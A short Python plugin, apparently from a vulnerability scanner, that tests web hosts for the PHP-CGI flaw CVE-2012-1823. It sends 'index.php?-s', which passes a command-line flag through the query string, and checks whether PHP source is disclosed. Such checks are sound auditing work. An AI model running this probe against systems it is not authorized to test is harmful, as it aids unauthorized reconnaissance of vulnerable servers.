from utils.status import *
from .helper import Plugin,utils

class CVE_2012_1823(Plugin):
    def __init__(self):
        self.name        = "PHP-CGI - CVE_2012_1823"
        self.enable      = True
        self.description = ""

    def presquites(self, host):
        if utils.isalive( utils.uri(host) ):
            return True
        return False

    def main(self,host):
        poc     = utils.uri(host) + "index.php?-s"
        request = utils.requests.get(poc)
        
        if "<?php" in request.text:
            return Result(
                    status   = SUCCESS,
                    msg      = poc,
                    request  = utils.dump_request(request),
                    response = utils.dump_response(request)
                )

        return Result(FAILED,None,None,None)